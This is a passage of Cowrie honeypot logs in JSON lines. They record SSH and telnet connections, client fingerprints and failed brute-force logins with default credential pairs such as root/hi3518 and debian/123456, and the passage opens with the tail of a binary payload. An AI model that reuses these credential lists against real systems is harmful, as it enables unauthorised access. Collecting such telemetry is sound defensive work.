\\x95\\x9dD\\x02X\\xc8\\xa7\\xb1\\xd9L\\x10\\xf8\\x17s\\xe9EC\\x93(\\x1eU<\\x8f\\x8aPS\\xa5\\x8b\\xfbP\"\\x9f\\xfc\\x81k\\x10-r\\x0b\\x9a\\x9d\\xfc\\'\\x17\\xf0\\x9e\\x81P\\x16\\x12\\xd9Bf\\xb0\\x8a\\xc4\\xd5aW\\xd7\\xbb\\xf8H\\x99C\\xf5q\\x979\\x9a\\xf7R\\x0c5\\x1c\\xab\\x87cT\\x85[\\x1f\\xba\\x91\\xc4\\x94\\xf5\\x9d<\\xc6\\x9d\\x1bI\\xa3\\x85\\xc8`J\\xf7w\\xb5\\x19\\xbf\\xef\\x8a\\x1a\\xc9\\x01\\xb3V\\x05\\xb8p\\x94Tv\\xd5`\\xc9Amw\\xc5\\x81\\xc7PLa\\x97D\\xdf(\\x84\\x06p\\xbc\\xe0\\xa6\\x14oE\\x96q\\x85\\x83\\xda&v3\\x8b\\x14\\xf1\\xd0\\x9f]\\xe2B\\x84\\xc7\\xbf\\xb7\\xe4\\x98E\\xc3&xs#h\\x1a#\\x0b\\xd2D\\xb7\\x80\\x95{;\\x1e\\xdf\\xbc\\x8f\\xde<Ac \\xbc\\x99\\x9cF\\xcd\\x10\\xb3)\\x9bh\\x95\\x88Q\\xc5\\x86\\x87\\xf0\\x83\\x88\\x05eSUE\\x96 ;\\xa3F\\xa8$\\x98\\xa2\\x97\\xac\\xf4\\xb8\\xf4\\x94>\\xc5\\x19\\x82E\\'_w\\x82-\\x9c!U\\xe9\\xd1k\\xd7j\\x08r\\xd0f\\xbaVt\\xe1\\xb9:\\xeb\\x96\\x14\\xf1\\x06\\x88\\x1d\\x80=\\xc6\\xd0\\x0f^\\xf9\\x114\\x90/\\xd4\\x01\\xb8\\xc6\\xa0A\\xa2`\\x9e\\xa1\\xe3\\x94\\xf3,\\x94\\xa2\\xe2\\x99o\\x04\\xcfn\\x8b\\x07\\x9c\\xb2_\\xc6|\\xa0p\\xb2JV;\\x901\\x8a\\xc2w\\x9cN\\xb6\\x12-g\\xbaDQ\\x129\\xc6\\xb5\\xa5\\xe5\\xc7_a\\xa9\\xb6\\xf2D\\x8d:\\x96!\\xf2\\xb2\\x89\\x92\\xd1\\x9c<\\x15\\xb8\\xe3\\x84\\xb5k\\xd9\\x89\\xfdw\\xc5\\xae\\xf1\\x19I\\xd8\\xb1;@w\\xfa\\xa0\\xc5\\xa4)8\\xfbWGy\\xfa\\xc3\\x15C6\\xa6\\xd5>\\xc6v\\xcf\\r\\xa9\\x99\\xdf|g<+\\x00\\x01\\xc5\\xb7\"\\x1c\\x90TkC\\x1d\\xab\\xbdf\\xe7%x\\x06\\xc5\"\\x19\\xc8\\xd8P_u\\xe3\\x84y\\xe3Z\\x00X\\t\\xb9\\xaa\\xbc\\xdef\\xcd\\x89v\\x9f/\\xa7\\x11\\xca\\x91\\xae\\x8b\\xe2\\x7f\\xf6\\xda\\x845ua\\x9f\\xeb\\tT\\x98\\xc5q\\x96\\x8f\\xbb\\x04d\\x84\\x01~\\x8f\\xcc\\x90>6\\x15\\xaarCg\\x15\\xc0E\\x96\\x8ft)j\\xba\\xc9s4i\\x99\\xd8\\xbc\\x9c\\x95;\\x84\\xf2\\'W\\xcc\\xf0\\xbd19\\\\\\x9f\\xa9\\xbf5\\xe7\\xb9\\x914I\\xc3\\x80;\\xcc\\x15\\x1e\\xdc\\x86y}9\\x0e\\xb9@\\xbf\\xe9\\t\\x17\\x15\\xf5\\xa6\\xd1\\xe4\\xa1\\xfau\\xc4\\xf74(\\x8d\\xb3\\xa0\\xbb&D\\xe7\\xd3\\xce\\xb0E\\x08\\xedA\\x8f;9dO\\x11\\xb0 \\xc2\\x02\\x9e\\xc9\\x9a\\xd5\\xf6k\\xd7\\x13W\\x8c\\xb9\\x01\\xf4zCv\\xbc1\\x99<\\x0eq\\xa7\\xcb\\t<\\x8d\\xf7\\x16\\xcf\\x03F\\x8f=\\xa0\\x18\\xbd\\x19\\xb7Z\\x937\\x12k\\xbcm\\te\\x8e$\\'K\"\\x9ci8\\xb8\\x7f\\x84B>\\xd4\\x8ai\\x94/\\xd1\\x81\\x03\\x89c\\x17\\xaa\\xacOM\\x88\\xb0\\xc5\\x89b4\\n\\x04\\xf8d{\\xc6\\xf3xD\\x07\\x06\\x97x\\xcf`!\\xaeSS[|\\x12G\"\\x19^Jy\\x94\\xf8l\\x0f\\xa1G\\x98\\x8b\\x13\\x1dl3\\xb2\\xfcx\\x92\\t\\xb2\\xb5\\x1a;\\x12\\x0bP9\\x8b`B\\x9d\\xac#\\x8d\\xdc\\x1e#\\xcb\\xaao\\x89\\x04\\xd7\\xbb\\x93>;\\xbb\\xfb\\x19Q\\x17gy\\x07\\xdb\\ra!\\x9c\\x98\\xda_\\x05E!?T]\\x8e0\\x17\\xa4\\x96\\xb2/\\xd7\\x98\\xa0%\\t\\xba1\\xb6\\xdc\\xe4Y\\n{|h\\x92J2\\xf7\\x02\\x03z\\\\\\x141\\x91\\x9d\\x14\\x81\\xe0\\x13\\x06\\xfc\\xb0\\x82\\x9f!\\xb9\\x13\\xf5$\\xa2\\xb3\\xa4\\x9aA^ \\xa4\\x96=\\x88juI\\xbf\\xa8i\\x1e\\xd7\\x82k\\xdf\\xfa,\\x86@\\xf0\\xa3^\\xaa\\x9c\\xc5\\x9e\\xaeMH\"\\t\\xd7le_J\\x8b\\xcduM\\xab7\\xf7\\x81\\xd5\\xeaf\\xf6\\xaa$\\x00\\xd0\\x8c\\x96}~\\x9b`\\x88\\xb1\\xc8\\xaa\\x00Pa\\xba\\x82\\x01\\xdb\\x8b\\x02\\x90[\\x06\\xd9\\xa7%\\x0f\\x00\\x1d\\x00 f\\xf6\\xaa$\\x00\\xd0\\x8c\\x96}~\\x9b`\\x88\\xb1\\xc8\\xaa\\x00Pa\\xba\\x82\\x01\\xdb\\x8b\\x02\\x90[\\x06\\xd9\\xa7%\\x0f'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.760612Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.849263Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51124,"dst_ip":"10.17.0.5","dst_port":22,"session":"c859747256f5","protocol":"ssh","message":"New connection: 45.156.87.253:51124 (10.17.0.5:22) [session: c859747256f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.999415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:51.003195Z","src_ip":"45.156.87.253","session":"c859747256f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:51.086213Z","src_ip":"45.156.87.253","session":"c859747256f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:51.336316Z","src_ip":"45.156.87.253","session":"c859747256f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:52.420189Z","src_ip":"45.156.87.253","session":"c859747256f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58792042732239,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:53.015763Z","src_ip":"115.160.92.142","session":"9c54ad1d9017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":54161,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0a896449ee","protocol":"telnet","message":"New connection: 115.160.92.142:54161 (159.203.135.109:23) [session: 3b0a896449ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:53.204816Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51132,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbcea93d37c","protocol":"ssh","message":"New connection: 45.156.87.253:51132 (10.17.0.5:22) [session: fdbcea93d37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:53.934385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:53.937998Z","src_ip":"45.156.87.253","session":"fdbcea93d37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:54.018077Z","src_ip":"45.156.87.253","session":"fdbcea93d37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hi3518","message":"login attempt [root/hi3518] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:54.120039Z","src_ip":"115.160.92.142","session":"3b0a896449ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:54.261270Z","src_ip":"45.156.87.253","session":"fdbcea93d37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:55.044110Z","src_ip":"115.160.92.142","session":"3b0a896449ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:55.369111Z","src_ip":"45.156.87.253","session":"fdbcea93d37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:55.963833Z","src_ip":"115.160.92.142","session":"3b0a896449ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51142,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9694b4ccbb2","protocol":"ssh","message":"New connection: 45.156.87.253:51142 (10.17.0.5:22) [session: b9694b4ccbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:56.808934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:56.812393Z","src_ip":"45.156.87.253","session":"b9694b4ccbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:56.893147Z","src_ip":"45.156.87.253","session":"b9694b4ccbb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:57.136636Z","src_ip":"45.156.87.253","session":"b9694b4ccbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:58.219456Z","src_ip":"45.156.87.253","session":"b9694b4ccbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53098,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6e6093a356","protocol":"ssh","message":"New connection: 45.156.87.253:53098 (10.17.0.5:22) [session: ee6e6093a356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:59.697524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:59.701635Z","src_ip":"45.156.87.253","session":"ee6e6093a356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:59.784333Z","src_ip":"45.156.87.253","session":"ee6e6093a356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:00.074380Z","src_ip":"45.156.87.253","session":"ee6e6093a356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":45810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7cb2644ce1c","protocol":"ssh","message":"New connection: 91.92.40.11:45810 (10.17.0.5:22) [session: f7cb2644ce1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:00.631449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:00.712275Z","src_ip":"91.92.40.11","session":"f7cb2644ce1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:00.803394Z","src_ip":"91.92.40.11","session":"f7cb2644ce1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:01.158570Z","src_ip":"45.156.87.253","session":"ee6e6093a356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root","message":"login attempt [administrator/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:01.446105Z","src_ip":"91.92.40.11","session":"f7cb2644ce1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53108,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d8a8faf779","protocol":"ssh","message":"New connection: 45.156.87.253:53108 (10.17.0.5:22) [session: f3d8a8faf779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:02.665616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:02.674167Z","src_ip":"45.156.87.253","session":"f3d8a8faf779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:02.682320Z","src_ip":"91.92.40.11","session":"f7cb2644ce1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:02.747782Z","src_ip":"45.156.87.253","session":"f3d8a8faf779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:03.063563Z","src_ip":"45.156.87.253","session":"f3d8a8faf779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:04.149618Z","src_ip":"45.156.87.253","session":"f3d8a8faf779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a28719688b0","protocol":"ssh","message":"New connection: 45.156.87.253:53120 (10.17.0.5:22) [session: 3a28719688b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:05.587698Z"}
